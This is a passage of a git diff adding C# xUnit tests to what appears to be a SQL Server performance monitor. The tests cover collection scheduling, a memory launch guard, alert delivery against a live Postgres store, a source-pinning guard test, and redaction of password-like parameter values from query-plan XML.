+        server.NextDue["wait_stats"] = DateTime.UtcNow.AddMinutes(-10);
+        worker.RunOneBodyOverride = (_, _, _, _) => Task.FromResult(1);
+        var stats = worker.FleetGateStatsForTest!;
+
+        await worker.RunDueCollectorsAsync(server, null!, TestContext.Current.CancellationToken);
+
+        Assert.InRange(stats.Snapshot().Skipped, 9, 10);
+    }
+
+    [Fact]
+    public void AServerWithABodyInFlight_ADisconnectedServer_AndARetiredServer_AreNotCountedByTheHold()
+    {
+        var worker = MakeWorker();
+        var due = DateTime.UtcNow.AddMinutes(-10);
+        var inFlight = MakeServer("example-sql-01", connected: true);
+        inFlight.InFlightSweep = new TaskCompletionSource().Task;
+        var disconnected = MakeServer("example-sql-02");
+        var retired = MakeServer("example-sql-03", connected: true);
+        retired.Retired = true;
+        foreach (var s in new[] { inFlight, disconnected, retired })
+        {
+            s.NextDue["wait_stats"] = due;
+        }
+
+        Assert.Equal(0, worker.CountHeldSlots([inFlight, disconnected, retired], DateTime.UtcNow));
+    }
+}
+
+/// <summary>
+/// The live half of the fleet pass tests (#5479, #5481 round 1): the production evaluator reads a real store, so the
+/// class joins the shared-store collection instead of serializing the pure tests above with it.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class SelfAlertFleetPassLiveTests
+{
+    private const int LivePassServerId = -770179;
+
+    /// <summary>
+    /// The production evaluator through the fleet pass, with the memory guard forced to hold (#5481 round 1). Every other
+    /// test here stands in for the evaluation; this one reads the store. A server's last SUCCESS collection_log row is
+    /// three hours old, the guard holds and no body is launched, and Collection Stopped is delivered.
+    /// </summary>
+    [Fact]
+    public async Task LiveStore_CollectionStopped_FiresFromTheProductionEvaluator_ThroughTheFleetPass_WhileTheGuardHolds()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live fleet pass.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteLivePassRowsAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+        var bodySucceeded = false;
+        try
+        {
+            var utcNow = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+            using (var insert = new NpgsqlCommand(@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, error_message, rows_collected, sql_duration_ms, duckdb_duration_ms)
+VALUES ($1, $2, 'example-sql-live', 'wait_stats', $3, 0, 'SUCCESS', NULL, 0, 0, 0)", connection))
+            {
+                insert.Parameters.AddWithValue(9_100_000L);
+                insert.Parameters.AddWithValue(LivePassServerId);
+                insert.Parameters.AddWithValue(utcNow.AddHours(-3));
+                await insert.ExecuteNonQueryAsync(ct);
+            }
+
+            var harness = new DarlingSelfAlertTests.Harness { Now = DateTime.UtcNow };
+
+            /* The alert reaches the store through the production deliverer and history writer, so the test can read it
+               back from the alert history as well as from what the recording deliverer received (#5481 round 2). */
+            var alertSettings = new DarlingAlertSettings(new DarlingConfig());
+            var historyWriter = new PgAlertHistoryStore(postgres);
+            harness.Deliverer.Inner = new DarlingAlertDeliverer(
+                alertSettings,
+                historyWriter,
+                new WebhookAlertService(alertSettings, DarlingAlertDeliverer.Branding, NullLogger<WebhookAlertService>.Instance, historyWriter),
+                NullLogger.Instance);
+            var worker = SelfAlertFleetPassTests.MakeWorker();
+            worker.StoreForTests = postgres;
+            worker.SelfAlertsForTests = harness.Build();
+            var clock = TimeSpan.Zero;
+            worker.LaunchGuard = new LaunchMemoryGuard(
+                () => new LaunchMemoryReading(1500L * 1024 * 1024, 1536L * 1024 * 1024, "test metric", "test limit"),
+                () => { },
+                () => clock,
+                NullLogger.Instance);
+            var server = SelfAlertFleetPassTests.MakeServer("example-sql-live");
+            server.Config.StoredServerId = LivePassServerId;
+
+            /* The service has just started: the stale row is judged from the start, so the first pass is silent. */
+            Assert.False(worker.LaunchGuard.MayLaunch(0));
+            Assert.True(worker.TryStartSelfAlertPass([server], ct));
+            Assert.True(await SelfAlertFleetPassTests.BecomesTrueAsync(() => worker.TryStartSelfAlertPass([server], ct)));
+            Assert.DoesNotContain(harness.Deliverer.Outcomes, o => o.MetricName == "Collection Stopped");
+
+            /* Past the window since the start, with the guard still holding and no body launched or called. */
+            harness.Now = harness.Now.AddMinutes(31);
+            clock = TimeSpan.FromMinutes(31);
+            server.NextSelfAlertSweep = DateTime.MinValue;
+            Assert.False(worker.LaunchGuard.MayLaunch(0));
+            Assert.True(await SelfAlertFleetPassTests.BecomesTrueAsync(() => worker.TryStartSelfAlertPass([server], ct)));
+
+            Assert.True(await SelfAlertFleetPassTests.BecomesTrueAsync(() => harness.Deliverer.Outcomes.Any(o => o.MetricName == "Collection Stopped")));
+            Assert.Single(harness.Deliverer.Outcomes, o => o.MetricName == "Collection Stopped");
+
+            /* And the history: the production writer put exactly one Collection Stopped row in config_alert_log. The first
+               pass's silence is asserted above through the deliverer. */
+            Assert.True(await SelfAlertFleetPassTests.BecomesTrueAsync(() => CountHistoryRowsAsync(connection, ct).GetAwaiter().GetResult() >= 1));
+            Assert.Equal(1, await CountHistoryRowsAsync(connection, ct));
+            Assert.True(worker.LaunchGuard.IsHolding, "the guard must still be holding when the alert fires");
+            Assert.Null(server.InFlightSweep);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await DeleteLivePassRowsAsync(cleanup, cleanupCt);
+            });
+        }
+    }
+
+    private static async Task<long> CountHistoryRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var read = new NpgsqlCommand(
+            "SELECT count(*) FROM config_alert_log WHERE server_name = 'example-sql-live' AND metric_name = 'Collection Stopped';", connection);
+        return (long)(await read.ExecuteScalarAsync(ct))!;
+    }
+
+    private static async Task DeleteLivePassRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var cleanup = new NpgsqlCommand(
+            $"DELETE FROM collection_log WHERE server_id = {LivePassServerId}; "
+            + "DELETE FROM config_alert_log WHERE server_name = 'example-sql-live' AND metric_name = 'Collection Stopped';", connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+}
+
+/// <summary>
+/// #5479: the pure rule behind the held-slot count.
+/// </summary>
+public sealed class HeldSlotsTests
+{
+    private static readonly DateTime T0 = new(2026, 10, 7, 12, 0, 0, DateTimeKind.Utc);
+    private static readonly TimeSpan Minute = TimeSpan.FromMinutes(1);
+
+    [Fact]
+    public void AGridCollector_LosesASlotOnceTheNextOneIsDue_TheNumberALateRunWouldStepOver()
+    {
+        Assert.Equal(0, HeldSlots.Lost(T0, T0, DateTime.MinValue, Minute, Minute));
+        Assert.Equal(0, HeldSlots.Lost(T0, T0.AddSeconds(59), DateTime.MinValue, Minute, Minute));
+        Assert.Equal(1, HeldSlots.Lost(T0, T0.AddSeconds(60), DateTime.MinValue, Minute, Minute));
+
+        for (var seconds = 0; seconds <= 6 * 3600; seconds += 15)
+        {
+            var now = T0.AddSeconds(seconds);
+            Assert.Equal(CollectorCadence.SkippedSlots(T0, now, Minute), HeldSlots.Lost(T0, now, DateTime.MinValue, Minute, Minute));
+        }
+    }
+
+    [Fact]
+    public void ASlotIsCountedOnce_WhateverTheNumberOfPasses_AndSpreadOverThePassesAsTheyComeDue()
+    {
+        var mark = default(HeldSlotMark);
+        long counted = 0;
+        var perPass = new List<long>();
+        for (var pass = 1; pass <= 4 * 60; pass++)
+        {
+            var n = HeldSlots.Newly(T0, T0.AddSeconds(pass * 15), DateTime.MinValue, Minute, Minute, ref mark);
+            counted += n;
+            perPass.Add(n);
+        }
+
+        Assert.Equal(60, counted);
+        Assert.All(perPass, n => Assert.InRange(n, 0, 1));
+
+        /* The same instant again, and an earlier one, add nothing. */
+        Assert.Equal(0, HeldSlots.Newly(T0, T0.AddHours(1), DateTime.MinValue, Minute, Minute, ref mark));
+        Assert.Equal(0, HeldSlots.Newly(T0, T0.AddMinutes(30), DateTime.MinValue, Minute, Minute, ref mark));
+    }
+
+    [Fact]
+    public void AMovedStamp_StartsTheCountAgain_BecauseABodyRanAndCountedItsOwnSlots()
+    {
+        var mark = default(HeldSlotMark);
+        Assert.Equal(5, HeldSlots.Newly(T0, T0.AddMinutes(5), DateTime.MinValue, Minute, Minute, ref mark));
+
+        var moved = T0.AddMinutes(6);
+        Assert.Equal(0, HeldSlots.Newly(moved, T0.AddMinutes(6), DateTime.MinValue, Minute, Minute, ref mark));
+        Assert.Equal(2, HeldSlots.Newly(moved, T0.AddMinutes(8), DateTime.MinValue, Minute, Minute, ref mark));
+    }
+
+    /// <summary>The interval changes mid-hold (a reload from 60 to 1 minute during a 2 hour hold): the due stamp stays, so
+    /// counting at the new interval from the stamp would invent 119 slots at once. The mark restarts at the change and only
+    /// slots after it count (#5481 round 1).</summary>
+    [Fact]
+    public void AnIntervalChangeMidHold_RestartsTheMark_AndInventsNoSlots()
+    {
+        var hour = TimeSpan.FromMinutes(60);
+        var mark = default(HeldSlotMark);
+        Assert.Equal(2, HeldSlots.Newly(T0, T0.AddHours(2), DateTime.MinValue, hour, hour, ref mark));
+
+        var change = T0.AddHours(2);
+        Assert.Equal(0, HeldSlots.Newly(T0, change, DateTime.MinValue, Minute, Minute, ref mark));
+        Assert.Equal(0, HeldSlots.Newly(T0, change.AddSeconds(59), DateTime.MinValue, Minute, Minute, ref mark));
+
+        /* From the change on: the slot at the change is lost a minute later, then one a minute. */
+        Assert.Equal(1, HeldSlots.Newly(T0, change.AddMinutes(1), DateTime.MinValue, Minute, Minute, ref mark));
+        Assert.Equal(4, HeldSlots.Newly(T0, change.AddMinutes(5), DateTime.MinValue, Minute, Minute, ref mark));
+    }
+
+    [Fact]
+    public void ARaisedFloor_CountsFromTheFloor_AndNeverCountsASlotBeforeIt()
+    {
+        var mark = default(HeldSlotMark);
+        Assert.Equal(10, HeldSlots.Newly(T0, T0.AddMinutes(10), DateTime.MinValue, Minute, Minute, ref mark));
+
+        /* The loop was not running for a while (a sleep): the floor moves to now, and only slots after it count. */
+        var floor = T0.AddMinutes(10);
+        Assert.Equal(0, HeldSlots.Newly(T0, T0.AddMinutes(10), floor, Minute, Minute, ref mark));
+        Assert.Equal(3, HeldSlots.Newly(T0, T0.AddMinutes(13), floor, Minute, Minute, ref mark));
+
+        /* The release raises the floor to now: nothing before it counts, so the first body counts none of the hold. */
+        var release = T0.AddMinutes(13).AddSeconds(30);
+        Assert.Equal(0, HeldSlots.Lost(T0, release, release, Minute, Minute));
+    }
+
+    [Fact]
+    public void ACollectorWithARunTime_LosesItsDayOnceTheGraceHasPassed_NotWhenTheNextDayIsDue()
+    {
+        var day = TimeSpan.FromDays(1);
+        var grace = CollectorRunTime.Grace;
+
+        Assert.Equal(0, HeldSlots.Lost(T0, T0.Add(grace).AddSeconds(-1), DateTime.MinValue, day, grace));
+        Assert.Equal(1, HeldSlots.Lost(T0, T0.Add(grace), DateTime.MinValue, day, grace));
+        Assert.Equal(1, HeldSlots.Lost(T0, T0.AddDays(1), DateTime.MinValue, day, grace));
+        Assert.Equal(2, HeldSlots.Lost(T0, T0.AddDays(1).Add(grace), DateTime.MinValue, day, grace));
+    }
+}
diff --git a/Darling/Darling.Tests/SelfManagedStoreRulesStartPinTests.cs b/Darling/Darling.Tests/SelfManagedStoreRulesStartPinTests.cs
new file mode 100644
index 0000000000..5547cd4d34
--- /dev/null
+++ b/Darling/Darling.Tests/SelfManagedStoreRulesStartPinTests.cs
@@ -0,0 +1,67 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The service's start creates the store's password rules on a store it does not provision itself. The start is one large
+/// method on a live worker, so no unit seam reaches it; this reads the worker's source, comments removed, and fails when
+/// any of the three calls is gone from the provisioning chain or moves out of its branch.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class SelfManagedStoreRulesStartPinTests
+{
+    private static string ProvisioningChain()
+    {
+        var source = Regex.Replace(
+            ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs"),
+            @"/\*.*?\*/|//[^\n]*", "", RegexOptions.Singleline);
+
+        var begin = source.IndexOf("DarlingManagedRoles.EnsureProvisionedAsync(", StringComparison.Ordinal);
+        Assert.True(begin > 0, "the managed provisioning call was not found");
+
+        /* The chain ends at the TimescaleDB block's first call. */
+        var end = source.IndexOf("TimescaleSupport.TryEnableAsync(", begin, StringComparison.Ordinal);
+        Assert.True(end > begin, "the end of the provisioning chain was not found");
+        return source[begin..end];
+    }
+
+    [Fact]
+    public void ASelfManagedStoreStart_CreatesThePasswordRules_InEveryBranchThatDoesNotProvisionTheRulesItself()
+    {
+        var chain = ProvisioningChain();
+
+        /* A container store whose compose provisioning did not provision it. */
+        Assert.Matches(
+            new Regex(
+                @"ProvisionComposeStoreAsync\(.*?if \(verdict\.Provisioned\)\s*\{.*?\}\s*else\s*\{\s*await DarlingManagedRoles\.EnsureServerPasswordRulesAsync\(postgres, _logger, stoppingToken\);\s*\}",
+                RegexOptions.Singleline),
+            chain);
+
+        /* Any other store that is not managed. */
+        Assert.Matches(
+            new Regex(
+                @"else if \(!config\.Postgres\.Managed\)\s*\{\s*await DarlingManagedRoles\.EnsureServerPasswordRulesAsync\(postgres, _logger, stoppingToken\);\s*\}",
+                RegexOptions.Singleline),
+            chain);
+
+        /* The managed branch, when its provisioning throws before its own rules section. */
+        Assert.Matches(
+            new Regex(
+                @"EnsureProvisionedAsync\(.*?ex\.Message\);\s*await DarlingManagedRoles\.EnsureServerPasswordRulesAsync\(postgres, _logger, stoppingToken\);\s*\}\s*\}\s*else if \(!config\.Postgres\.Managed && ",
+                RegexOptions.Singleline),
+            chain);
+
+        Assert.Equal(3, Regex.Matches(chain, @"EnsureServerPasswordRulesAsync\(").Count);
+    }
+}
diff --git a/Darling/Darling.Tests/SensitiveStatementAutoParamTests.cs b/Darling/Darling.Tests/SensitiveStatementAutoParamTests.cs
new file mode 100644
index 0000000000..d3449daaff
--- /dev/null
+++ b/Darling/Darling.Tests/SensitiveStatementAutoParamTests.cs
@@ -0,0 +1,767 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Text.RegularExpressions;
+using System.Xml.Linq;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348: the auto-parameter scope of the XML walk. SQL Server stores a simple- or forced-parameterized statement
+/// under its parameterized text (<c>set [password] = @1</c>) and moves the literal into the statement's
+/// <c>ParameterList</c>, so the stored text alone names nothing. The walk puts each literal back (the probe), judges
+/// that, and a named probe withholds the statement's parameter values while the statement text itself is kept.
+///
+/// The judge here is a STAND-IN for the .NET evaluation that lands with the pattern work (A1): it mirrors the two
+/// T-SQL alternatives that matter here (a credential-shaped name, optionally bracketed or quoted, then <c>=</c> and a
+/// string or binary literal; and <c>pwd=</c> as a connection-string key), with ASCII word boundaries. The real judge
+/// runs over the captured fixtures in the wiring wave.
+/// </summary>
+[Collection("timing")]
+public class SensitiveStatementAutoParamTests
+{
+    private const string P = "<<P>>";
+    private const string PText = "&lt;&lt;P&gt;&gt;";
+    private static readonly XNamespace Ns = "http://schemas.microsoft.com/sqlserver/2004/07/showplan";
+
+    // Stand-in for the .NET evaluation of T4 and T9 (see the class comment).
+    private static readonly Regex T4 = new(@"(password|pwd|secret)[\]""]?\s*=\s*(n?'|0x)",
+        RegexOptions.IgnoreCase | RegexOptions.CultureInvariant);
+    private static readonly Regex T9 = new(@"(?<![A-Za-z0-9_])pwd\s*=",
+        RegexOptions.IgnoreCase | RegexOptions.CultureInvariant);
+
+    private static bool StandIn(string s) => T4.IsMatch(s) || T9.IsMatch(s);
+
+    private readonly ITestOutputHelper _output;
+
+    public SensitiveStatementAutoParamTests(ITestOutputHelper output) => _output = output;
+
+    private static string Fixture(string name) =>
+        File.ReadAllText(Path.Combine(AppContext.BaseDirectory, "Fixtures", "StatementScrub", name));
+
+    private static string? Run(string xml, Func<string, bool>? judge = null, int max = int.MaxValue) =>
+        SensitiveStatements.XmlCore(xml, judge ?? StandIn, () => false, P, null, max);
+
+    private static XElement Col(string column, string? compiled, string? runtime = null)
+    {
+        var e = new XElement(Ns + "ColumnReference", new XAttribute("Column", column));
+        if (compiled is not null)
+            e.Add(new XAttribute("ParameterCompiledValue", compiled));
+        if (runtime is not null)
+            e.Add(new XAttribute("ParameterRuntimeValue", runtime));
+        return e;
+    }
+
+    private static XElement Stmt(string element, string text, params XElement[] columns)
+    {
+        var plan = new XElement(Ns + "QueryPlan");
+        if (columns.Length > 0)
+            plan.Add(new XElement(Ns + "ParameterList", columns));
+        return new XElement(Ns + element, new XAttribute("StatementText", text), new XAttribute("StatementId", "1"), plan);
+    }
+
+    private static string Plan(params XElement[] statements) =>
+        new XElement(Ns + "ShowPlanXML",
+            new XElement(Ns + "BatchSequence", new XElement(Ns + "Batch", new XElement(Ns + "Statements", statements))))
+            .ToString(SaveOptions.DisableFormatting);
+
+    private static List<string> Attrs(string xml, string name) =>
+        XDocument.Parse(xml).Descendants().Select(e => (string?)e.Attribute(name)).Where(v => v is not null).Select(v => v!).ToList();
+
+    private static string OnlyStatementText(string xml) => Attrs(xml, "StatementText").Single();
+
+    // ── the RED on L2's code (no probe): the stored form names nothing, so nothing was withheld ──
+
+    [Theory]
+    [InlineData("(@1 nvarchar(4000),@2 tinyint)UPDATE [dbo].[t] set [password] = @1  WHERE [id]=@2")]
+    [InlineData("(@1 nvarchar(4000),@2 tinyint)UPDATE [dbo].[t] set [pwd] = @1  WHERE [id]=@2")]
+    [InlineData("(@1 nvarchar(4000),@2 tinyint)UPDATE [dbo].[t] set [secret] = @1  WHERE [id]=@2")]
+    public void SetCredentialColumnToToken_WithholdsTheCompiledValues_AndKeepsTheStatementText(string text)
+    {
+        string xml = Plan(Stmt("StmtSimple", text, Col("@1", "N'S3cret-value'"), Col("@2", "(7)")));
+
+        string? result = Run(xml);
+
+        Assert.NotNull(result);
+        Assert.NotSame(xml, result);
+        Assert.Equal(new[] { P, P }, Attrs(result!, "ParameterCompiledValue"));
+        Assert.Equal(text, OnlyStatementText(result!));
+        Assert.DoesNotContain("S3cret-value", result);
+    }
+
+    [Fact]
+    public void WhereClauseOfTwoTokens_WithholdsBothValues_AndKeepsTheStatementText()
+    {
+        const string text = "(@1 nvarchar(4000),@2 nvarchar(4000))SELECT [id] FROM [dbo].[t] WHERE [username]=@1 AND [password]=@2";
+        string xml = Plan(Stmt("StmtSimple", text, Col("@2", "N'S3cret-value'"), Col("@1", "N'app'")));
+
+        string? result = Run(xml);
+
+        Assert.NotNull(result);
+        Assert.Equal(new[] { P, P }, Attrs(result!, "ParameterCompiledValue"));
+        Assert.Equal(text, OnlyStatementText(result!));
+    }
+
+    [Theory]
+    [InlineData("SELECT [id] FROM [dbo].[t] WHERE [secret_id]=@1")]
+    [InlineData("SELECT [id] FROM [dbo].[t] WHERE [PasswordHash]=@1")]
+    [InlineData("SELECT @@ROWCOUNT WHERE [id]=@@SPID")]
+    public void NameOnlyLooksSimilar_KeepsItsValues_AndReturnsTheSameInstance(string text)
+    {
+        string xml = Plan(Stmt("StmtSimple", text, Col("@1", "N'plain-value'")));
+
+        Assert.Same(xml, Run(xml));
+    }
+
+    [Fact]
+    public void TokensAreMatchedByOrdinal_AtTenNeverTakesTheValueOfOne()
+    {
+        // @10 is a different parameter from @1. A prefix replace would read [pwd]=N'a'0 and withhold; the right
+        // probe is [pwd]=(5), a number, which names nothing.
+        string xml = Plan(Stmt("StmtSimple", "SELECT [id] FROM [dbo].[t] WHERE [pwd]=@10", Col("@1", "N'a'"), Col("@10", "(5)")));
+
+        Assert.Same(xml, Run(xml));
+    }
+
+    [Fact]
+    public void TokenFollowedByWordCharacter_OrPrecededByOne_IsNotAToken()
+    {
+        string xml = Plan(Stmt("StmtSimple", "SELECT [id] FROM [dbo].[t] WHERE [pwd]=@1abc OR [pwd]=a@1",
+            Col("@1", "N'S3cret-value'")));
+
+        Assert.Same(xml, Run(xml));
+    }
+
+    [Fact]
+    public void ForcedParameterization_TheZeroTokenIsCovered()
+    {
+        string xml = Plan(Stmt("StmtSimple", "(@0 varchar(8000))SELECT [id] FROM [dbo].[t] WHERE [password] = @0",
+            Col("@0", "'S3cret-value'")));
+
+        string? result = Run(xml);
+
+        Assert.NotNull(result);
+        Assert.Equal(new[] { P }, Attrs(result!, "ParameterCompiledValue"));
+    }
+
+    [Fact]
+    public void ApplicationNamedParameter_KeepsItsValue()
+    {
+        // sp_executesql: the statement text keeps the application's own parameter name, which is not a token.
+        string xml = Plan(Stmt("StmtSimple", "(@pwd nvarchar(50))UPDATE [dbo].[t] SET [password] = @pwd",
+            Col("@pwd", "N'S3cret-value'")));
+
+        Assert.Same(xml, Run(xml));
+    }
+
+    [Fact]
+    public void ValueRulesFireOnThePutBackLiteral_AndTheQuestionMarkFormWouldNotName()
+    {
+        const string text = "(@1 nvarchar(4000))INSERT [dbo].[cfg] VALUES (@1)";
+        string withValue = Plan(Stmt("StmtSimple", text, Col("@1", "N'Server=h;PWD=x'")));
+        string noValue = Plan(Stmt("StmtSimple", text));
+
+        string? result = Run(withValue);
+
+        Assert.NotNull(result);
+        Assert.Equal(new[] { P }, Attrs(result!, "ParameterCompiledValue"));
+        Assert.Equal(text, OnlyStatementText(result!));
+        // with no value to put back the probe reads VALUES (N'?'), which names nothing
+        Assert.Same(noValue, Run(noValue));
+    }
+
+    [Fact]
+    public void NumericValue_NamesNothing()
+    {
+        string xml = Plan(Stmt("StmtSimple", "(@1 int)INSERT [dbo].[cfg] VALUES (@1)", Col("@1", "(7)")));
+
+        Assert.Same(xml, Run(xml));
+    }
+
+    [Fact]
+    public void RuntimeValue_IsUsedWhenThereIsNoCompiledValue()
+    {
+        string xml = Plan(Stmt("StmtSimple", "(@1 nvarchar(4000))UPDATE [dbo].[t] set [password] = @1",
+            Col("@1", null, "N'S3cret-value'")));
+
+        string? result = Run(xml);
+
+        Assert.NotNull(result);
+        Assert.Equal(new[] { P }, Attrs(result!, "ParameterRuntimeValue"));
+    }
+
+    [Fact]
+    public void TokenWithNoParameterListEntry_FallsBackToTheQuestionMark_AndACredentialNameStillNames()
+    {
+        const string text = "(@1 nvarchar(4000))UPDATE [dbo].[t] set [password] = @1";
+        var stmt = Stmt("StmtSimple", text);
+        stmt.Element(Ns + "QueryPlan")!.Add(new XElement(Ns + "ScalarOperator", new XAttribute("ScalarString", "[plain-text]")));
+        string xml = Plan(stmt);
+
+        string? result = Run(xml);
+
+        // [password] = N'?' is still named, so the scope opens (the ScalarString inside is withheld); the text is kept
+        Assert.NotNull(result);
+        Assert.Equal(P, Attrs(result!, "ScalarString").Single());
+        Assert.Equal(text, OnlyStatementText(result!));
+    }
+
+    [Fact]
+    public void KeptStatementTextOfAProbeScope_SurvivesWhenItHoldsAQuote()
+    {
+        // P13: inside a scope any value holding a quote is withheld (L-J), except the probe scope's own text.
+        const string text = "(@1 nvarchar(4000))UPDATE [dbo].[t] set [password] = @1, [note] = 'x'";
+        string xml = Plan(Stmt("StmtSimple", text, Col("@1", "N'S3cret-value'")));
+
+        string? result = Run(xml);
+
+        Assert.NotNull(result);
+        Assert.Equal(text, OnlyStatementText(result!));
+        Assert.Equal(new[] { P }, Attrs(result!, "ParameterCompiledValue"));
+    }
+
+    [Fact]
+    public void NestedStatement_EachParameterListBelongsToItsOwnStatement()
+    {
+        // Outer StmtCond: [pwd]=@1 with a number (names nothing). Inner StmtSimple: [pwd]=@1 with a literal (named).
+        // A ParameterList read for the wrong statement would withhold the outer one (N'?' fallback) or keep the inner.
+        var inner = Stmt("StmtSimple", "SELECT [id] FROM [dbo].[t] WHERE [pwd]=@1", Col("@1", "N'S3cret-inner'"));
+        var outer = new XElement(Ns + "StmtCond",
+            new XAttribute("StatementText", "IF EXISTS (SELECT 1 FROM [dbo].[t] WHERE [pwd]=@1)"),
+            new XElement(Ns + "Condition", new XElement(Ns + "QueryPlan",
+                new XElement(Ns + "ParameterList", Col("@1", "(5)")))),
+            new XElement(Ns + "Then", new XElement(Ns + "Statements", inner)));
+        string xml = Plan(outer);
+
+        string? result = Run(xml);
+
+        Assert.NotNull(result);
+        var values = Attrs(result!, "ParameterCompiledValue");
+        Assert.Equal(new[] { "(5)", P }, values);
+        Assert.DoesNotContain("S3cret-inner", result);
+        Assert.Equal(2, Attrs(result!, "StatementText").Count);
+    }
+
+    [Fact]
+    public void SiblingStatements_AreJudgedOnTheirOwn()
+    {
+        var named = Stmt("StmtSimple", "(@1 nvarchar(4000))UPDATE [dbo].[t] set [password] = @1", Col("@1", "N'S3cret-value'"));
+        var plain = Stmt("StmtSimple", "(@1 nvarchar(4000))SELECT [id] FROM [dbo].[t] WHERE [name]=@1", Col("@1", "N'plain-value'"));
+        string xml = Plan(named, plain);
+
+        string? result = Run(xml);
+
+        Assert.NotNull(result);
+        Assert.Equal(new[] { P, "N'plain-value'" }, Attrs(result!, "ParameterCompiledValue"));
+    }
+
+    [Fact]
+    public void ParameterListPastTheCut_StillWithholdsTheStatementByName()
+    {
+        var plan = new XElement(Ns + "QueryPlan",
+            new XElement(Ns + "RelOp", new XAttribute("NodeId", "0"),
+                new XElement(Ns + "ScalarOperator", new XAttribute("ScalarString", "[plain-text]"))),
+            new XElement(Ns + "RelOp", new XAttribute("NodeId", "1"), new XAttribute("Filler", new string('x', 4000))),
+            new XElement(Ns + "ParameterList", Col("@1", "N'S3cret-value'")));
+        var stmt = new XElement(Ns + "StmtSimple",
+            new XAttribute("StatementText", "(@1 nvarchar(4000))UPDATE [dbo].[t] set [password] = @1"), plan);
+        string xml = Plan(stmt);
+        Assert.True(xml.IndexOf("<ParameterList>", StringComparison.Ordinal) > 1500);
+
+        // 1,000 characters in: the compiled value lies past the cut, so the probe reads [password] = N'?' (named),
+        // and the scope withholds the ScalarString that sits inside the cut.
+        string? result = Run(xml, max: 1000);
+
+        Assert.NotNull(result);
+        Assert.DoesNotContain("plain-text", result);
+        Assert.Contains(PText, result);
+    }
+
+    // ── L2c review fixes (H1, M1, L3) ──
+
+    private static bool CanaryOrStandIn(string s) => StandIn(s) || s.Contains("CANARY", StringComparison.Ordinal);
+
+    [Fact]
+    public void WithAMaxOutput_ValuesPastPassOnesStop_AreWithheldEvenWhenTheOutputIsShorter_LongNamedStatementFirst()
+    {
+        // statement 1 is named and long: its text becomes the short placeholder, so pass 2 reaches input that pass 1
+        // (which stops by INPUT offset) never read
+        string xml = Plan(
+            Stmt("StmtSimple", "CANARY " + new string('x', 3000)),
+            Stmt("StmtSimple", "(@1 nvarchar(4000),@2 tinyint)UPDATE [dbo].[u] set [password] = @1  WHERE [id]=@2",
+                Col("@1", "N'S3cret-drift'"), Col("@2", "(7)")));
+        const int max = 2000;
+
+        string? cut = Run(xml, CanaryOrStandIn, max);
+        string? whole = Run(xml, CanaryOrStandIn);
+
+        Assert.NotNull(cut);
+        Assert.NotNull(whole);
+        Assert.DoesNotContain("S3cret-drift", whole);
+        Assert.DoesNotContain("S3cret-drift", cut![..Math.Min(max, cut.Length)]);
+    }
+
+    [Fact]
+    public void WithAMaxOutput_ValuesPastPassOnesStop_AreWithheldEvenWhenTheOutputIsShorter_LargeInList()
+    {
+        // &apos; is five characters in the input and one in the output, so pass 2 outruns pass 1 on a long IN-list
+        var sb = new StringBuilder();
+        sb.Append("<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\"><BatchSequence><Batch><Statements>");
+        sb.Append("<StmtSimple StatementId=\"1\" StatementText=\"(@0 nvarchar(50)");
+        for (int i = 1; i <= 119; i++) sb.Append(",@").Append(i).Append(" nvarchar(50)");
+        sb.Append(")INSERT [dbo].[cfg] VALUES (@0");
+        for (int i = 1; i <= 119; i++) sb.Append(",@").Append(i);
+        sb.Append(")\"><QueryPlan><ScalarOperator ScalarString=\"CANARY\"/><ParameterList>");
+        for (int i = 0; i < 119; i++)
+            sb.Append("<ColumnReference Column=\"@").Append(i).Append("\" ParameterCompiledValue=\"N&apos;aaaaaaaa&apos;\"/>");
+        sb.Append("<ColumnReference Column=\"@119\" ParameterCompiledValue=\"N&apos;Server=h;PWD=drift2&apos;\"/>");
+        sb.Append("</ParameterList></QueryPlan></StmtSimple>");
+        sb.Append("</Statements></Batch></BatchSequence></ShowPlanXML>");
+        string xml = sb.ToString();
+        int last = xml.IndexOf("PWD=drift2", StringComparison.Ordinal);
+        int max = last - 200;
+        Assert.True(max > 1000, "fixture shape");
+
+        string? cut = Run(xml, CanaryOrStandIn, max);
+
+        Assert.NotNull(cut);
+        Assert.DoesNotContain("drift2", cut![..Math.Min(max, cut.Length)]);
+    }
+
+    [Fact]
+    public void RuntimeValueThatDiffersFromTheCompiledValue_IsJudgedToo()
+    {
+        // an actual plan: the compiled value is whichever run compiled the cached plan, the runtime value is this run's
+        const string text = "(@1 nvarchar(50))INSERT [dbo].[cfg] VALUES (@1)";
